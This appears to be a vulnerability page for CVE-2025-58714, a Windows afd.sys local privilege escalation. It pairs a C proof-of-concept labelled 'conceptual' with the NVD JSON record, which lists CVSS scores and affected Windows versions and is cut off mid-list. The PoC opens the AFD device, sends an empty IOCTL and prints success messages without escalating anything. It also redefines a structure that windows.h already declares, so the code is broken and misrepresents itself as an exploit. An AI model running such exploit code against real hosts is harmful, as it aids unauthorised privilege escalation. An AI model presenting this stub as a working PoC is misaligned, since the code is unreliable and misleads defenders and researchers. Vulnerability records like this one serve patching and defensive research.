CVE-2025-58714

// CVE-2025-58714 - Windows Ancillary Function Driver for WinSock Privilege Escalation // PoC demonstrating the concept of exploiting improper access control in afd.sys // Note: This is a conceptual PoC for educational and defensive research purposes only. #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib, "ws2_32.lib") // Token manipulation constants for privilege escalation #define TOKEN_ALL_ACCESS 0x000F01FF #define SE_PRIVILEGE_ENABLED 0x00000002 // Structure for token privileges typedef struct _TOKEN_PRIVILEGES { DWORD PrivilegeCount; LUID_AND_ATTRIBUTES Privileges[1]; } TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES; BOOL EnablePrivilege(LPCSTR lpPrivilegeName) { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return FALSE; } if (!LookupPrivilegeValueA(NULL, lpPrivilegeName, &luid)) { CloseHandle(hToken); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); CloseHandle(hToken); return result; } int main() { WSADATA wsaData; SOCKET sock = INVALID_SOCKET; printf("[*] CVE-2025-58714 PoC - afd.sys Privilege Escalation\n"); printf("[*] Initializing Winsock...\n"); // Step 1: Initialize Winsock if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("[-] WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // Step 2: Create a socket to interact with afd.sys driver sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (sock == INVALID_SOCKET) { printf("[-] Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } printf("[+] Socket created successfully: %p\n", sock); // Step 3: Attempt to enable debug privilege if (EnablePrivilege(SE_DEBUG_NAME)) { printf("[+] SeDebugPrivilege enabled\n"); } // Step 4: Exploit improper access control in afd.sys // The vulnerability allows sending specially crafted IOCTL requests // to the AFD driver to bypass access control checks printf("[*] Attempting privilege escalation via afd.sys...\n"); // Conceptual exploitation code - actual exploit would involve // crafted IOCTL calls to \Device\Afd via NtDeviceIoControlFile HANDLE hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice != INVALID_HANDLE_VALUE) { printf("[+] Obtained handle to AFD driver\n"); // Malformed IOCTL request would trigger the vulnerability DWORD bytesReturned; DeviceIoControl(hDevice, 0x00012003, NULL, 0, NULL, 0, &bytesReturned, NULL); CloseHandle(hDevice); } // Step 5: Verify privilege escalation HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { DWORD tokenInfoLength = 0; GetTokenInformation(hToken, TokenUser, NULL, 0, &tokenInfoLength); printf("[+] Token query successful - check current privileges\n"); CloseHandle(hToken); } // Cleanup closesocket(sock); WSACleanup(); printf("[*] PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2025-58714", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:52.367", "lastModified": "2025-10-31T16:07:48.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2 ... 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